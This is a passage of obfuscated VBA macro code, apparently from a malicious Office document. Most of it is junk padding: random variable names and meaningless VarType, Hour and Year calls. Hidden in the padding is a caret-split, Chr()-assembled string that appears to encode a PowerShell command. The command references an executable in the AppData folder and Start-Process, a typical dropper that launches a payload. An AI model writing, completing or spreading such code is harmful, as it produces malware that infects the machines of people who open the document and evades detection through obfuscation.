   CyveBecAKoFAVEaaioVtyjoZilUsIBYPadaA(0) = CStr(VarType(VarType(VarType("ZEzalEloxUhYb"))))
End If
CyveBecAKoFAVEaaioVtyjoZilUsIBYPadaA(1) = CInt(CStr("2949$"))
VarType ZEzalEloxUhYb
Year 2949
If Len(CyveBecAKoFAVEaaioVtyjoZilUsIBYPadaA(1)) <> 10 Then
  CyveBecAKoFAVEaaioVtyjoZilUsIBYPadaA(2) = Hour(29498)
End If
CyveBecAKoFAVEaaioVtyjoZilUsIBYPadaA(3) = VarType(CyveBecAKoFAVEaaioVtyjoZilUsIBYPadaA)
Dim VYhiOtUWoRYJYiigisiYjeKYHwiMAXUkAfeFEHE(4)
If "LOLajaliDETjaCuTnu" <> CStr("LOLajaliDETjaCuTnu7934") Then
   VYhiOtUWoRYJYiigisiYjeKYHwiMAXUkAfeFEHE(0) = CStr(VarType(VarType(VarType("LOLajaliDETjaCuTnu"))))
End If
VYhiOtUWoRYJYiigisiYjeKYHwiMAXUkAfeFEHE(1) = CInt(CStr("7934$"))
VarType LOLajaliDETjaCuTnu
Year 7934
If Len(VYhiOtUWoRYJYiigisiYjeKYHwiMAXUkAfeFEHE(1)) <> 13 Then
  VYhiOtUWoRYJYiigisiYjeKYHwiMAXUkAfeFEHE(2) = Hour(79341)
End If
VYhiOtUWoRYJYiigisiYjeKYHwiMAXUkAfeFEHE(3) = VarType(VYhiOtUWoRYJYiigisiYjeKYHwiMAXUkAfeFEHE)
  xocoWOCEVopAdzyWInUvuraUCeioBovYBIfY(2) = Hour(64906)
End If
xocoWOCEVopAdzyWInUvuraUCeioBovYBIfY(3) = VarType(xocoWOCEVopAdzyWInUvuraUCeioBovYBIfY)
Dim FYWOjukAQYpoWUvyHAvunomyNAmorvArAV(4)
If "RHOqohylel" <> CStr("RHOqohylel2048") Then
   FYWOjukAQYpoWUvyHAvunomyNAmorvArAV(0) = CStr(VarType(VarType(VarType("RHOqohylel"))))
End If
FYWOjukAQYpoWUvyHAvunomyNAmorvArAV(1) = CInt(CStr("2048$"))
VarType RHOqohylel
Year 2048
If Len(FYWOjukAQYpoWUvyHAvunomyNAmorvArAV(1)) <> 10 Then
  FYWOjukAQYpoWUvyHAvunomyNAmorvArAV(2) = Hour(20487)
End If
FYWOjukAQYpoWUvyHAvunomyNAmorvArAV(3) = VarType(FYWOjukAQYpoWUvyHAvunomyNAmorvArAV)
Dim cIQILegabyXUDTYUsebnYjyRuvoTowAreCIQ(4)
If "RBYjYiiMOrAhiPyrukak" <> CStr("RBYjYiiMOrAhiPyrukak5665") Then
   cIQILegabyXUDTYUsebnYjyRuvoTowAreCIQ(0) = CStr(VarType(VarType(VarType("RBYjYiiMOrAhiPyrukak"))))
End If
cIQILegabyXUDTYUsebnYjyRuvoTowAreCIQ(1) = CInt(CStr("5665$"))
VarType RBYjYiiMOrAhiPyrukak
Year 5665
If Len(cIQILegabyXUDTYUsebnYjyRuvoTowAreCIQ(1)) <> 10 Then
  cIQILegabyXUDTYUsebnYjyRuvoTowAreCIQ(2) = Hour(56657)
End If
cIQILegabyXUDTYUsebnYjyRuvoTowAreCIQ(3) = VarType(cIQILegabyXUDTYUsebnYjyRuvoTowAreCIQ)
Dim doPExPapEaFeGYmRyRyxOkoXIGuiyDyVugEG(4)
Dim hugAmyLoxevOpAToxiPaIpYgUjAwoFagAXejOPiDEy(4)
If "qyapIfiiepa" <> CStr("qyapIfiiepa6058") Then
   hugAmyLoxevOpAToxiPaIpYgUjAwoFagAXejOPiDEy(0) = CStr(VarType(VarType(VarType("qyapIfiiepa"))))
End If
hugAmyLoxevOpAToxiPaIpYgUjAwoFagAXejOPiDEy(1) = CInt(CStr("6058$"))
VarType qyapIfiiepa
Year 6058
If Len(hugAmyLoxevOpAToxiPaIpYgUjAwoFagAXejOPiDEy(1)) <> 12 Then
  hugAmyLoxevOpAToxiPaIpYgUjAwoFagAXejOPiDEy(2) = Hour(60581)
End If
hugAmyLoxevOpAToxiPaIpYgUjAwoFagAXejOPiDEy(3) = VarType(hugAmyLoxevOpAToxiPaIpYgUjAwoFagAXejOPiDEy)
If "sYlyjOvODinyBESaeQ" <> CStr("sYlyjOvODinyBESaeQ1289") Then
Dim haROJODatBynbakiXYjYHOkEmrUqamYBuRuCyX(4)
If "ZOTixVahugekoCakU" <> CStr("ZOTixVahugekoCakU5047") Then
   haROJODatBynbakiXYjYHOkEmrUqamYBuRuCyX(0) = CStr(VarType(VarType(VarType("ZOTixVahugekoCakU"))))
End If
haROJODatBynbakiXYjYHOkEmrUqamYBuRuCyX(1) = CInt(CStr("5047$"))
VarType ZOTixVahugekoCakU
Year 5047
If Len(haROJODatBynbakiXYjYHOkEmrUqamYBuRuCyX(1)) <> 13 Then
  haROJODatBynbakiXYjYHOkEmrUqamYBuRuCyX(2) = Hour(50476)
End If
haROJODatBynbakiXYjYHOkEmrUqamYBuRuCyX(3) = VarType(haROJODatBynbakiXYjYHOkEmrUqamYBuRuCyX)
Dim vyFECerimomywRaXyzolOWoNa(4)
If "gedobUpaBuxqYZYhoaAnYN" <> CStr("gedobUpaBuxqYZYhoaAnYN2781") Then
   vyFECerimomywRaXyzolOWoNa(0) = CStr(VarType(VarType(VarType("gedobUpaBuxqYZYhoaAnYN"))))
End If
vyFECerimomywRaXyzolOWoNa(1) = CInt(CStr("2781$"))
VarType gedobUpaBuxqYZYhoaAnYN
Year 2781
If Len(vyFECerimomywRaXyzolOWoNa(1)) <> 12 Then
  vyFECerimomywRaXyzolOWoNa(2) = Hour(27812)
End If
vyFECerimomywRaXyzolOWoNa(3) = VarType(vyFECerimomywRaXyzolOWoNa)
   doPExPapEaFeGYmRyRyxOkoXIGuiyDyVugEG(0) = CStr(VarType(VarType(VarType("sYlyjOvODinyBESaeQ"))))
Dim nSonYTGsIaeQzEPtYDigIBYLebYaABIHIwiHUha(4)
If "EGAPyvebeseCHoGuVAHi" <> CStr("EGAPyvebeseCHoGuVAHi3052") Then
   nSonYTGsIaeQzEPtYDigIBYLebYaABIHIwiHUha(0) = CStr(VarType(VarType(VarType("EGAPyvebeseCHoGuVAHi"))))
End If
nSonYTGsIaeQzEPtYDigIBYLebYaABIHIwiHUha(1) = CInt(CStr("3052$"))
VarType EGAPyvebeseCHoGuVAHi
Year 3052
If Len(nSonYTGsIaeQzEPtYDigIBYLebYaABIHIwiHUha(1)) <> 10 Then
  nSonYTGsIaeQzEPtYDigIBYLebYaABIHIwiHUha(2) = Hour(30528)
End If
nSonYTGsIaeQzEPtYDigIBYLebYaABIHIwiHUha(3) = VarType(nSonYTGsIaeQzEPtYDigIBYLebYaABIHIwiHUha)
End If
Dim kcYNUFUpeNEDEtuSiMaPYreaYlvixOfUWiHYxGUPi(4)
If "MywOauxHIlyZIiacEvAHydE" <> CStr("MywOauxHIlyZIiacEvAHydE5019") Then
   kcYNUFUpeNEDEtuSiMaPYreaYlvixOfUWiHYxGUPi(0) = CStr(VarType(VarType(VarType("MywOauxHIlyZIiacEvAHydE"))))
End If
kcYNUFUpeNEDEtuSiMaPYreaYlvixOfUWiHYxGUPi(1) = CInt(CStr("5019$"))
VarType MywOauxHIlyZIiacEvAHydE
Year 5019
If Len(kcYNUFUpeNEDEtuSiMaPYreaYlvixOfUWiHYxGUPi(1)) <> 12 Then
  kcYNUFUpeNEDEtuSiMaPYreaYlvixOfUWiHYxGUPi(2) = Hour(501910)
End If
kcYNUFUpeNEDEtuSiMaPYreaYlvixOfUWiHYxGUPi(3) = VarType(kcYNUFUpeNEDEtuSiMaPYreaYlvixOfUWiHYxGUPi)
doPExPapEaFeGYmRyRyxOkoXIGuiyDyVugEG(1) = CInt(CStr("1289$"))
VarType sYlyjOvODinyBESaeQ
Dim leREnylOgukYWivivASYTAqGahICAiYPALumY(4)
If "VyBacIcESEMYmUvYfIWa" <> CStr("VyBacIcESEMYmUvYfIWa1630") Then
   leREnylOgukYWivivASYTAqGahICAiYPALumY(0) = CStr(VarType(VarType(VarType("VyBacIcESEMYmUvYfIWa"))))
End If
leREnylOgukYWivivASYTAqGahICAiYPALumY(1) = CInt(CStr("1630$"))
VarType VyBacIcESEMYmUvYfIWa
Year 1630
If Len(leREnylOgukYWivivASYTAqGahICAiYPALumY(1)) <> 10 Then
  leREnylOgukYWivivASYTAqGahICAiYPALumY(2) = Hour(16308)
End If
leREnylOgukYWivivASYTAqGahICAiYPALumY(3) = VarType(leREnylOgukYWivivASYTAqGahICAiYPALumY)
Year 1289
If Len(doPExPapEaFeGYmRyRyxOkoXIGuiyDyVugEG(1)) <> 10 Then
  doPExPapEaFeGYmRyRyxOkoXIGuiyDyVugEG(2) = Hour(12896)
End If
Dim TiPONIJEzKpemuRezuPiyqUlygyxu(4)
If "PoaUSissUCEPeTUv" <> CStr("PoaUSissUCEPeTUv6717") Then
   TiPONIJEzKpemuRezuPiyqUlygyxu(0) = CStr(VarType(VarType(VarType("PoaUSissUCEPeTUv"))))
End If
TiPONIJEzKpemuRezuPiyqUlygyxu(1) = CInt(CStr("6717$"))
VarType PoaUSissUCEPeTUv
Year 6717
If Len(TiPONIJEzKpemuRezuPiyqUlygyxu(1)) <> 10 Then
  TiPONIJEzKpemuRezuPiyqUlygyxu(2) = Hour(67179)
End If
TiPONIJEzKpemuRezuPiyqUlygyxu(3) = VarType(TiPONIJEzKpemuRezuPiyqUlygyxu)
Dim iOwyhYreqNAFaReqiTUJYdeR(4)
If "LaCAlyLExywYcONeHEQyDOxY" <> CStr("LaCAlyLExywYcONeHEQyDOxY88") Then
   iOwyhYreqNAFaReqiTUJYdeR(0) = CStr(VarType(VarType(VarType("LaCAlyLExywYcONeHEQyDOxY"))))
End If
iOwyhYreqNAFaReqiTUJYdeR(1) = CInt(CStr("88$"))
VarType LaCAlyLExywYcONeHEQyDOxY
Year 88
If Len(iOwyhYreqNAFaReqiTUJYdeR(1)) <> 10 Then
  iOwyhYreqNAFaReqiTUJYdeR(2) = Hour(889)
End If
iOwyhYreqNAFaReqiTUJYdeR(3) = VarType(iOwyhYreqNAFaReqiTUJYdeR)
doPExPapEaFeGYmRyRyxOkoXIGuiyDyVugEG(3) = VarType(doPExPapEaFeGYmRyRyxOkoXIGuiyDyVugEG)
sEgaNwoHAVerYNYrINOvUKouwYjiZAdAPOmaPiXaHYJ = "D^0^A^Z^g^B^v^A^G^" + Chr((10 * 10) + 10 + 5) + "^A^Z^Q^A^5^A^C^4^A^c^A^B^v^A^G^Q^A^I^g^A^" + Chr((10 * 10) + 10 + 5) + "^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^c^A^D^I^A^M^g^A^y^A^D^A^A^N^w^A^y^A^D^A^A^O^A^A^3^A^D^Y^A^N^A^A^z^A^D^A^A^O^Q^A^u^A^G^U^A^e^A^B^l^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^p^A^D^" + Chr((10 * 10) + 10 + 5) + "^A^I^A^B^T^A^H^Q^A^Y^Q^B^y^A^H^Q^A^L^Q^B^Q^A^H^I^A^b^w^B^j^A^G^U^A^c^w^B^z^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^J^w^B^c^A^D^I^A^M^g^A^y^A^D^A^A^N^w^A^y^A^D^A^A^O^A^A^3^A^D^Y^A^N^A^A^z^A^D^A^A^O^Q^A^u^A^G^U^A^e^A^B"
Dim PouBuKEgikuGorUbYpAruyNeiyhIFYc(4)
If "FUTUqasqyXyTOlEioseJaK" <> CStr("FUTUqasqyXyTOlEioseJaK6680") Then
   PouBuKEgikuGorUbYpAruyNeiyhIFYc(0) = CStr(VarType(VarType(VarType("FUTUqasqyXyTOlEioseJaK"))))
End If
PouBuKEgikuGorUbYpAruyNeiyhIFYc(1) = CInt(CStr("6680$"))
VarType FUTUqasqyXyTOlEioseJaK
Year 6680
If Len(PouBuKEgikuGorUbYpAruyNeiyhIFYc(1)) <> 10 Then
  PouBuKEgikuGorUbYpAruyNeiyhIFYc(2) = Hour(66802)
End If
PouBuKEgikuGorUbYpAruyNeiyhIFYc(3) = VarType(PouBuKEgikuGorUbYpAruyNeiyhIFYc)
Dim kOzoKELOsYFucadeTYTeXEJUBuPozImunyw(4)
Dim rNehEfETAbkafHOMWOSYWEXYGAHEz(4)
If "vIaHzyRihaQ" <> CStr("vIaHzyRihaQ7669") Then
   rNehEfETAbkafHOMWOSYWEXYGAHEz(0) = CStr(VarType(VarType(VarType("vIaHzyRihaQ"))))
End If
rNehEfETAbkafHOMWOSYWEXYGAHEz(1) = CInt(CStr("7669$"))
VarType vIaHzyRihaQ
Year 7669
If Len(rNehEfETAbkafHOMWOSYWEXYGAHEz(1)) <> 12 Then
  rNehEfETAbkafHOMWOSYWEXYGAHEz(2) = Hour(76692)
End If
rNehEfETAbkafHOMWOSYWEXYGAHEz(3) = VarType(rNehEfETAbkafHOMWOSYWEXYGAHEz)
If "BOpAsUwUSYt" <> CStr("BOpAsUwUSYt3708") Then
Dim aOjAhICejOtIfeiiNEbIJuGOwYFIciVeZ(4)
If "RulimAHAiUTaLIJcYZONAF" <> CStr("RulimAHAiUTaLIJcYZONAF2042") Then
   aOjAhICejOtIfeiiNEbIJuGOwYFIciVeZ(0) = CStr(VarType(VarType(VarType("RulimAHAiUTaLIJcYZONAF"))))
End If
aOjAhICejOtIfeiiNEbIJuGOwYFIciVeZ(1) = CInt(CStr("2042$"))
VarType RulimAHAiUTaLIJcYZONAF
Year 2042
If Len(aOjAhICejOtIfeiiNEbIJuGOwYFIciVeZ(1)) <> 11 Then
  aOjAhICejOtIfeiiNEbIJuGOwYFIciVeZ(2) = Hour(20425)
End If
aOjAhICejOtIfeiiNEbIJuGOwYFIciVeZ(3) = VarType(aOjAhICejOtIfeiiNEbIJuGOwYFIciVeZ)
   kOzoKELOsYFucadeTYTeXEJUBuPozImunyw(0) = CStr(VarType(VarType(VarType("BOpAsUwUSYt"))))
Dim IlAFyVOVyXEsaWIrWObiqeRYgUIKE(4)
If "tpoXDobIpQIhItuBUr" <> CStr("tpoXDobIpQIhItuBUr7593") Then
   IlAFyVOVyXEsaWIrWObiqeRYgUIKE(0) = CStr(VarType(VarType(VarType("tpoXDobIpQIhItuBUr"))))
End If
IlAFyVOVyXEsaWIrWObiqeRYgUIKE(1) = CInt(CStr("7593$"))
VarType tpoXDobIpQIhItuBUr
Year 7593
If Len(IlAFyVOVyXEsaWIrWObiqeRYgUIKE(1)) <> 11 Then
  IlAFyVOVyXEsaWIrWObiqeRYgUIKE(2) = Hour(75938)
End If
IlAFyVOVyXEsaWIrWObiqeRYgUIKE(3) = VarType(IlAFyVOVyXEsaWIrWObiqeRYgUIKE)
End If
kOzoKELOsYFucadeTYTeXEJUBuPozImunyw(1) = CInt(CStr("3708$"))
Dim NuCioLoxOcejYXulYJGALaSUtInEDLUxe(4)
If "XogOnYRiBUgyQyMo" <> CStr("XogOnYRiBUgyQyMo645") Then
   NuCioLoxOcejYXulYJGALaSUtInEDLUxe(0) = CStr(VarType(VarType(VarType("XogOnYRiBUgyQyMo"))))
End If
NuCioLoxOcejYXulYJGALaSUtInEDLUxe(1) = CInt(CStr("645$"))
VarType XogOnYRiBUgyQyMo
Year 645
If Len(NuCioLoxOcejYXulYJGALaSUtInEDLUxe(1)) <> 12 Then
  NuCioLoxOcejYXulYJGALaSUtInEDLUxe(2) = Hour(6455)
End If
NuCioLoxOcejYXulYJGALaSUtInEDLUxe(3) = VarType(NuCioLoxOcejYXulYJGALaSUtInEDLUxe)
VarType BOpAsUwUSYt
Year 3708
If Len(kOzoKELOsYFucadeTYTeXEJUBuPozImunyw(1)) <> 12 Then
  kOzoKELOsYFucadeTYTeXEJUBuPozImunyw(2) = Hour(37086)
Dim aufYqIHaZuZNYxawtiXeCOd(4)
If "gULoFoKuJer" <> CStr("gULoFoKuJer7868") Then
   aufYqIHaZuZNYxawtiXeCOd(0) = CStr(VarType(VarType(VarType("gULoFoKuJer"))))
End If
aufYqIHaZuZNYxawtiXeCOd(1) = CInt(CStr("7868$"))
VarType gULoFoKuJer
Year 7868
If Len(aufYqIHaZuZNYxawtiXeCOd(1)) <> 11 Then
  aufYqIHaZuZNYxawtiXeCOd(2) = Hour(78686)
End If
aufYqIHaZuZNYxawtiXeCOd(3) = VarType(aufYqIHaZuZNYxawtiXeCOd)
Dim iITymaJIbOXzAfAhuRAQaLotoP(4)
If "WMEPIvUrAcI" <> CStr("WMEPIvUrAcI9787") Then
   iITymaJIbOXzAfAhuRAQaLotoP(0) = CStr(VarType(VarType(VarType("WMEPIvUrAcI"))))
End If
iITymaJIbOXzAfAhuRAQaLotoP(1) = CInt(CStr("9787$"))
VarType WMEPIvUrAcI
Year 9787
If Len(iITymaJIbOXzAfAhuRAQaLotoP(1)) <> 11 Then
  iITymaJIbOXzAfAhuRAQaLotoP(2) = Hour(97873)
End If
iITymaJIbOXzAfAhuRAQaLotoP(3) = VarType(iITymaJIbOXzAfAhuRAQaLotoP)
End If
Dim TObavIwgEGAlicaVUTajIsEPYQylADOfYxiWa(4)
If "SaaEcyzuPapak" <> CStr("SaaEcyzuPapak5428") Then
   TObavIwgEGAlicaVUTajIsEPYQylADOfYxiWa(0) = CStr(VarType(VarType(VarType("SaaEcyzuPapak"))))
End If
TObavIwgEGAlicaVUTajIsEPYQylADOfYxiWa(1) = CInt(CStr("5428$"))
VarType SaaEcyzuPapak
Year 5428
If Len(TObavIwgEGAlicaVUTajIsEPYQylADOfYxiWa(1)) <> 13 Then
  TObavIwgEGAlicaVUTajIsEPYQylADOfYxiWa(2) = Hour(54289)
End If
TObavIwgEGAlicaVUTajIsEPYQylADOfYxiWa(3) = VarType(TObavIwgEGAlicaVUTajIsEPYQylADOfYxiWa)
Dim TiavoHadtAlIBIkaJUPykHEnaQaaYaUNynutiF(4)
If "BYTEdEvisUS" <> CStr("BYTEdEvisUS7245") Then
   TiavoHadtAlIBIkaJUPykHEnaQaaYaUNynutiF(0) = CStr(VarType(VarType(VarType("BYTEdEvisUS"))))
End If
TiavoHadtAlIBIkaJUPykHEnaQaaYaUNynutiF(1) = CInt(CStr("7245$"))
VarType BYTEdEvisUS
Year 7245
If Len(TiavoHadtAlIBIkaJUPykHEnaQaaYaUNynutiF(1)) <> 11 Then
  TiavoHadtAlIBIkaJUPykHEnaQaaYaUNynutiF(2) = Hour(72454)
End If
TiavoHadtAlIBIkaJUPykHEnaQaaYaUNynutiF(3) = VarType(TiavoHadtAlIBIkaJUPykHEnaQaaYaUNynutiF)
kOzoKELOsYFucadeTYTeXEJUBuPozImunyw(3) = VarType(kOzoKELOsYFucadeTYTeXEJUBuPozImunyw)
Dim uhiDoiVuQUsErorItgEjUMvylEzutaiyFUYti(4)
If "NOjveTOCuVajUZnI" <> CStr("NOjveTOCuVajUZnI402") Then
   uhiDoiVuQUsErorItgEjUMvylEzutaiyFUYti(0) = CStr(VarType(VarType(VarType("NOjveTOCuVajUZnI"))))
End If
uhiDoiVuQUsErorItgEjUMvylEzutaiyFUYti(1) = CInt(CStr("402$"))
VarType NOjveTOCuVajUZnI
Year 402
If Len(uhiDoiVuQUsErorItgEjUMvylEzutaiyFUYti(1)) <> 13 Then
  uhiDoiVuQUsErorItgEjUMvylEzutaiyFUYti(2) = Hour(4022)
End If
uhiDoiVuQUsErorItgEjUMvylEzutaiyFUYti(3) = VarType(uhiDoiVuQUsErorItgEjUMvylEzutaiyFUYti)
Dim SicIHeGiZyRAnoVWacOCInaDYLEzAQuPARUJuq(4)
If "sCezojiMtEjyTuzodY" <> CStr("sCezojiMtEjyTuzodY2185") Then
   SicIHeGiZyRAnoVWacOCInaDYLEzAQuPARUJuq(0) = CStr(VarType(VarType(VarType("sCezojiMtEjyTuzodY"))))
End If
SicIHeGiZyRAnoVWacOCInaDYLEzAQuPARUJuq(1) = CInt(CStr("2185$"))
VarType sCezojiMtEjyTuzodY
Year 2185
If Len(SicIHeGiZyRAnoVWacOCInaDYLEzAQuPARUJuq(1)) <> 12 Then
  SicIHeGiZyRAnoVWacOCInaDYLEzAQuPARUJuq(2) = Hour(21854)
End If
SicIHeGiZyRAnoVWacOCInaDYLEzAQuPARUJuq(3) = VarType(SicIHeGiZyRAnoVWacOCInaDYLEzAQuPARUJuq)

Dim SinatEFuxoatEMiWYfEWuQOaeqIoX(4)
If "XobIqoSoxEDYX" <> CStr("XobIqoSoxEDYX7026") Then
   SinatEFuxoatEMiWYfEWuQOaeqIoX(0) = CStr(VarType(VarType(VarType("XobIqoSoxEDYX"))))
End If
SinatEFuxoatEMiWYfEWuQOaeqIoX(1) = CInt(CStr("7026$"))
VarType XobIqoSoxEDYX
Year 7026
If Len(SinatEFuxoatEMiWYfEWuQOaeqIoX(1)) <> 10 Then
  SinatEFuxoatEMiWYfEWuQOaeqIoX(2) = Hour(70262)
End If
SinatEFuxoatEMiWYfEWuQOaeqIoX(3) = VarType(SinatEFuxoatEMiWYfEWuQOaeqIoX)
Dim hEponERAHoJyPfAriwahEij(4)
Dim cMGoevEsenIBoLADAMOludEWypOjL(4)
If "DeDyXOcYbOnISIBO" <> CStr("DeDyXOcYbOnISIBO3712") Then
   cMGoevEsenIBoLADAMOludEWypOjL(0) = CStr(VarType(VarType(VarType("DeDyXOcYbOnISIBO"))))
End If
cMGoevEsenIBoLADAMOludEWypOjL(1) = CInt(CStr("3712$"))
VarType DeDyXOcYbOnISIBO
Year 3712
If Len(cMGoevEsenIBoLADAMOludEWypOjL(1)) <> 11 Then
  cMGoevEsenIBoLADAMOludEWypOjL(2) = Hour(37129)
End If
cMGoevEsenIBoLADAMOludEWypOjL(3) = VarType(cMGoevEsenIBoLADAMOludEWypOjL)
If "wiLagoTySeqZYPOBAjmI" <> CStr("wiLagoTySeqZYPOBAjmI1197") Then
   hEponERAHoJyPfAriwahEij(0) = CStr(VarType(VarType(VarType("wiLagoTySeqZYPOBAjmI"))))
Dim lonIHaJbYdIRJURacOgoLucOFajuXeB(4)
If "VUhOQOViTAKX" <> CStr("VUhOQOViTAKX1385") Then
   lonIHaJbYdIRJURacOgoLucOFajuXeB(0) = CStr(VarType(VarType(VarType("VUhOQOViTAKX"))))
End If
lonIHaJbYdIRJURacOgoLucOFajuXeB(1) = CInt(CStr("1385$"))
VarType VUhOQOViTAKX
Year 1385
If Len(lonIHaJbYdIRJURacOgoLucOFajuXeB(1)) <> 13 Then
  lonIHaJbYdIRJURacOgoLucOFajuXeB(2) = Hour(13857)
End If
lonIHaJbYdIRJURacOgoLucOFajuXeB(3) = VarType(lonIHaJbYdIRJURacOgoLucOFajuXeB)
Dim bIBIdopoTYPatKiNyziPapiJoMEoUgyxZYMuguteH(4)
If "zIPYNaLomoV" <> CStr("zIPYNaLomoV7000") Then
   bIBIdopoTYPatKiNyziPapiJoMEoUgyxZYMuguteH(0) = CStr(VarType(VarType(VarType("zIPYNaLomoV"))))
End If
bIBIdopoTYPatKiNyziPapiJoMEoUgyxZYMuguteH(1) = CInt(CStr("7000$"))
VarType zIPYNaLomoV
Year 7000
If Len(bIBIdopoTYPatKiNyziPapiJoMEoUgyxZYMuguteH(1)) <> 10 Then
  bIBIdopoTYPatKiNyziPapiJoMEoUgyxZYMuguteH(2) = Hour(70007)
End If
bIBIdopoTYPatKiNyziPapiJoMEoUgyxZYMuguteH(3) = VarType(bIBIdopoTYPatKiNyziPapiJoMEoUgyxZYMuguteH)
End If
Dim lAtojISIWyDipUvNEkAJotEMihY(4)
If "tyZabUSOJyDEgyGEaIDUJez" <> CStr("tyZabUSOJyDEgyGEaIDUJez5378") Then
   lAtojISIWyDipUvNEkAJotEMihY(0) = CStr(VarType(VarType(VarType("tyZabUSOJyDEgyGEaIDUJez"))))
End If
lAtojISIWyDipUvNEkAJotEMihY(1) = CInt(CStr("5378$"))
VarType tyZabUSOJyDEgyGEaIDUJez
Year 5378
If Len(lAtojISIWyDipUvNEkAJotEMihY(1)) <> 11 Then
  lAtojISIWyDipUvNEkAJotEMihY(2) = Hour(53787)
End If
lAtojISIWyDipUvNEkAJotEMihY(3) = VarType(lAtojISIWyDipUvNEkAJotEMihY)
Dim XijugYBaQeiiRbKuPOxuReiurEFUfo(4)
If "kEdykUgewZiXoL" <> CStr("kEdykUgewZiXoL6399") Then
   XijugYBaQeiiRbKuPOxuReiurEFUfo(0) = CStr(VarType(VarType(VarType("kEdykUgewZiXoL"))))
End If
XijugYBaQeiiRbKuPOxuReiurEFUfo(1) = CInt(CStr("6399$"))
VarType kEdykUgewZiXoL
Year 6399
If Len(XijugYBaQeiiRbKuPOxuReiurEFUfo(1)) <> 11 Then
  XijugYBaQeiiRbKuPOxuReiurEFUfo(2) = Hour(63994)
End If
XijugYBaQeiiRbKuPOxuReiurEFUfo(3) = VarType(XijugYBaQeiiRbKuPOxuReiurEFUfo)
hEponERAHoJyPfAriwahEij(1) = CInt(CStr("1197$"))
Dim WeFEvurorarsjOdyfEiarO(4)
If "keQyXXDASokEqIpO" <> CStr("keQyXXDASokEqIpO4535") Then
   WeFEvurorarsjOdyfEiarO(0) = CStr(VarType(VarType(VarType("keQyXXDASokEqIpO"))))
End If
WeFEvurorarsjOdyfEiarO(1) = CInt(CStr("4535$"))
VarType keQyXXDASokEqIpO
Year 4535
If Len(WeFEvurorarsjOdyfEiarO(1)) <> 13 Then
  WeFEvurorarsjOdyfEiarO(2) = Hour(45352)
End If
WeFEvurorarsjOdyfEiarO(3) = VarType(WeFEvurorarsjOdyfEiarO)
Dim RuvIpyfucyfARaNetYsAneNilIkaFesyTyGegiaEaYronixa(4)
If "tYWeRorYCqiheiEMakIq" <> CStr("tYWeRorYCqiheiEMakIq9786") Then
   RuvIpyfucyfARaNetYsAneNilIkaFesyTyGegiaEaYronixa(0) = CStr(VarType(VarType(VarType("tYWeRorYCqiheiEMakIq"))))
End If
RuvIpyfucyfARaNetYsAneNilIkaFesyTyGegiaEaYronixa(1) = CInt(CStr("9786$"))
VarType tYWeRorYCqiheiEMakIq
Year 9786
If Len(RuvIpyfucyfARaNetYsAneNilIkaFesyTyGegiaEaYronixa(1)) <> 11 Then
  RuvIpyfucyfARaNetYsAneNilIkaFesyTyGegiaEaYronixa(2) = Hour(97864)
End If
RuvIpyfucyfARaNetYsAneNilIkaFesyTyGegiaEaYronixa(3) = VarType(RuvIpyfucyfARaNetYsAneNilIkaFesyTyGegiaEaYronixa)
VarType wiLagoTySeqZYPOBAjmI
Dim VIXuhAfyLpAwAQaiUjeTaqi(4)
If "kESAsoaukEvYvyCeNIx" <> CStr("kESAsoaukEvYvyCeNIx7536") Then
   VIXuhAfyLpAwAQaiUjeTaqi(0) = CStr(VarType(VarType(VarType("kESAsoaukEvYvyCeNIx"))))
End If
VIXuhAfyLpAwAQaiUjeTaqi(1) = CInt(CStr("7536$"))
VarType kESAsoaukEvYvyCeNIx
Year 7536
If Len(VIXuhAfyLpAwAQaiUjeTaqi(1)) <> 10 Then
  VIXuhAfyLpAwAQaiUjeTaqi(2) = Hour(75364)
End If
VIXuhAfyLpAwAQaiUjeTaqi(3) = VarType(VIXuhAfyLpAwAQaiUjeTaqi)
Year 1197
Dim CIkYiUweRoioLUBaMUVYqEvEzaDypijeqUjeK(4)
If "nLeLOKOFYMiTUFEFu" <> CStr("nLeLOKOFYMiTUFEFu5215") Then
   CIkYiUweRoioLUBaMUVYqEvEzaDypijeqUjeK(0) = CStr(VarType(VarType(VarType("nLeLOKOFYMiTUFEFu"))))
End If
CIkYiUweRoioLUBaMUVYqEvEzaDypijeqUjeK(1) = CInt(CStr("5215$"))
VarType nLeLOKOFYMiTUFEFu
Year 5215
If Len(CIkYiUweRoioLUBaMUVYqEvEzaDypijeqUjeK(1)) <> 13 Then
  CIkYiUweRoioLUBaMUVYqEvEzaDypijeqUjeK(2) = Hour(52157)
End If
CIkYiUweRoioLUBaMUVYqEvEzaDypijeqUjeK(3) = VarType(CIkYiUweRoioLUBaMUVYqEvEzaDypijeqUjeK)
Dim QuQISiBOomxAFiriDObZo(4)
If "pucypoJuayPYQeN" <> CStr("pucypoJuayPYQeN1140") Then
   QuQISiBOomxAFiriDObZo(0) = CStr(VarType(VarType(VarType("pucypoJuayPYQeN"))))
End If
QuQISiBOomxAFiriDObZo(1) = CInt(CStr("1140$"))
VarType pucypoJuayPYQeN
Year 1140
If Len(QuQISiBOomxAFiriDObZo(1)) <> 12 Then
  QuQISiBOomxAFiriDObZo(2) = Hour(114010)
End If
QuQISiBOomxAFiriDObZo(3) = VarType(QuQISiBOomxAFiriDObZo)
If Len(hEponERAHoJyPfAriwahEij(1)) <> 11 Then
Dim jEKeRMuNuKUzoKyhUHUFGYXAjimExeFOGBaro(4)
If "geXeNUhucSUaXADYc" <> CStr("geXeNUhucSUaXADYc2888") Then
   jEKeRMuNuKUzoKyhUHUFGYXAjimExeFOGBaro(0) = CStr(VarType(VarType(VarType("geXeNUhucSUaXADYc"))))
End If
jEKeRMuNuKUzoKyhUHUFGYXAjimExeFOGBaro(1) = CInt(CStr("2888$"))
VarType geXeNUhucSUaXADYc
Year 2888
If Len(jEKeRMuNuKUzoKyhUHUFGYXAjimExeFOGBaro(1)) <> 13 Then
  jEKeRMuNuKUzoKyhUHUFGYXAjimExeFOGBaro(2) = Hour(28886)
End If
jEKeRMuNuKUzoKyhUHUFGYXAjimExeFOGBaro(3) = VarType(jEKeRMuNuKUzoKyhUHUFGYXAjimExeFOGBaro)
  hEponERAHoJyPfAriwahEij(2) = Hour(11975)
Dim kylUkoaaHRIbiJIOxOWerMebazeQYhyHupA(4)
